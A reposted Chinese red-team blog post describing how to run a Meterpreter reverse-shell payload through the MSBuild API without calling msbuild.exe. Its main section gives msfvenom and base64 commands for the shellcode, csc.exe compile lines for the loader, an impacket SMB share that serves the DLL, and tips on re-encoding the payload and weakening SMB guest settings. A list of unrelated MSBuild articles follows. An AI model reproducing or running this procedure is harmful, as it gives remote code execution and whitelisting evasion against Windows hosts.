专栏首页鸿鹄实验室RedTeam之msbuild without msbuild

RedTeam之msbuild without msbuild

昨天团队的小伙伴交流时提出的技术,记录下复现的过程。

需要的工具去文末下载....

不使用msbuild调用msbuild来构建程序的方法,看操作…

生成一个msf的payload并编码

msfvenom -p windows/x64/meterpreter/reverse_tcp -f raw -o payload64.bin LHOST=10.0.0.1 LPORT=2000
base64 -i /root/payload64.bin > payload64.txt

然后使用下面的方法得到一个dll文件

C:\Windows\Microsoft.Net\Framework\v4.0.30319\csc.exe /reference:"Microsoft.Build.Framework.dll";"Microsoft.Build.Tasks.v4.0.dll";"Microsoft.Build.Utilities.v4.0.dll" /target:library IEShim.cs

得到dll后将msbuildapicaller.cs 的第60行替换成你smb服务器的程序地址..

smb服务器可以使用impacket开启

impacket-smbserver share `pwd`

当前目录,共享名为share

替换msbuildapicaller.csproj中的shellcode与dll地址

然后编译..

C:\Windows\Microsoft.Net\Framework\v4.0.30319\csc.exe /reference:"Microsoft.Build.Framework.dll";"Microsoft.Build.dll";"Microsoft.Build.Engine.dll";"Microsoft.Build.Utilities.v4.0.dll";"System.Runtime.dll" /target:exe msbuildapicaller.cs

得到exe文件,可以使用Assembly MSBuildApiCaller.exe去执行..

msf上线….

显示的效果..

具体实现原理

需要注意的点:

1、程序默认为base64编码,可以考虑更换编码方式,或二次编码。

2、windows10 1079版本无法匿名访问SMB共享文件夹

修改方法为:

(一)注册表修改

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters]
"AllowInsecureGuestAuth"=dword:00000001

(二)开启smb1.0

打开控制面板----启用或关闭Windows功能----开启SMB 1.0功能

参考文章:

https://blog.51cto.com/11728495/2344044

https://pentestlaboratories.com/2020/01/27/msbuild-without-msbuild/ https://github.com/rvrsh3ll/MSBuildAPICaller

觉得不错的,记得点个在看,点个转发哦..

本文分享自微信公众号 - 鸿鹄实验室(gh_a2210090ba3f),作者:鸿鹄实验室a

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2020-04-28

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • MSBuild入门

    MSBuild是什么? MSBuild全称(Microsoft Build Engine),是用于构建应用程序的平台。您可能不知道它,但是如果您在使用VS做开发...

    blackheart
  • win10 uwp 使用 msbuild 命令行编译 UWP 程序

    在有一些时候,如使用持续集成的时候就不能通过 VisualStudio 的方式编译 UWP 程序,需要使用命令行的方式编译。

    林德熙
  • MSBuild入门(续)

    MSBuild基本概念(续) 在上一篇简单的介绍了下MSBuild中的四个基本块,每块介绍比较单薄,在这里对在大多数的项目模版生成的*.*proj文件中比较常见...

    blackheart
  • Msbuild的三种利用方式

    碎碎念:最近一直没更新文章,团队的小伙伴都到了找实习的时候,所以都在忙着找工作,恰巧又碰上国赛,耽搁了几天,不过目前都已尘埃落定,有几个去了甲方,都是三大运营商...

    鸿鹄实验室
  • 一文搞定SonarQube接入C#(.NET)代码质量分析

    C#语言接入Sonar代码静态扫描相较于Java、Python来说,相对麻烦一些。Sonar检测C#代码时需要预先编译,而且C#代码必须用MSbui...

    测试开发技术
  • 如何通过命令行 msbuild 编译项目

    本文告诉大家如何通过 msbuild 编译一个项目,通过命令行编译可以输出更多的编译信息,可以用来调试自己写的编译相关方法,可以看到是哪个文件编译失败

    林德熙
  • .NET 基金会项目介绍-MSBuild

    MSBuild 是属于 .Net 基金会的一个项目,本文将简要介绍该项目相关的信息。

    newbe36524
  • 在 MSBuild 编译项目时阻止输出所有的警告信息

    大型旧项目可能存在大量的 Warning,在编译之后 Visual Studio 会给出大量的警告。Visual Studio 中可以直接点掉警告,...

    walterlv
  • 如何使用 MSBuild Target(Exec)中的控制台输出

    发布于 2018-06-13 00:08 更新于 2018-09...

    walterlv
  • .Net Core迁移到MSBuild的多平台编译问题

      本篇主要讨论.NET Core应用程序项目结构的主题,重点探索.NET Core应用程序的多平台编译问题,这里指的多平台是指.NET Framework、....

    yoyofx
  • MSBuild的简单介绍与使用

    MSBuild 是 Microsoft 和 Visual Studio的生成系统。它不仅仅是一个构造工具,应该称之为拥有相当强大扩展能力的自动化平台。MSBui...

    张善友
  • 如何编写基于 Microsoft.NET.Sdk 的跨平台的 MSBuild Target(附各种自带的 Task)

    发布于 2018-05-20 11:00 更新于 2018-07...

    walterlv
  • 如何在 csproj 中用 C# 代码写一个内联的编译任务 Task

    我之前写过一些改变 MSBuild 编译过程的一些博客,包括利用 Microsoft.NET.Sdk 中各种自带的 Task 来执行各种...

    walterlv
  • MSBuild

    MSBuild全称(Microsoft Build Engine),是用于构建应用程序的平台。您可能不知道它,但是如果您在使用VS做开发,那么一定时时刻刻在使用...

    Centy Zhao
  • 如何创建一个基于命令行工具的跨平台的 NuGet 工具包

    发布于 2018-05-12 01:09 更新于 2018-09...

    walterlv
  • Roslyn 理解 msbuild 的清理过程

    在开发的时候,小伙伴会使用右击解决方案,点击清理解决方案。在这个按钮点击的背后 msbuild 做了什么?为什么很多时候的清理之后还存在一堆文件?如何让自己想的...

    林德熙
  • 手把手教你搭建和配置Jenkins环境

      搭建Jenkins,首先得安装Jenkins,安装的问题就不说了,一般第一次安装完成后,服务会直接在浏览器中运行,网址:http://localhost:...

    令仔很忙
  • 基于Win10极简SonarQube C#代码质量分析

    博客有些好些时间未更新了,这几个月的时间里,离开了实习的公司、大学毕了业、来了新公司、转了户口,有点忙,最近总算稍微闲下来了,打算重新拾起博客,坚持写下去。

    码农阿宇
  • 基于Win10极简SonarQube C#代码质量分析

    博客有些好些时间未更新了,这几个月的时间里,离开了实习的公司、大学毕了业、来了新公司、转了户口,有点忙,最近总算稍微闲下来了,打算重新拾起博客,坚持写下去。

    码农阿宇

扫码关注云+社区

领取腾讯云代金券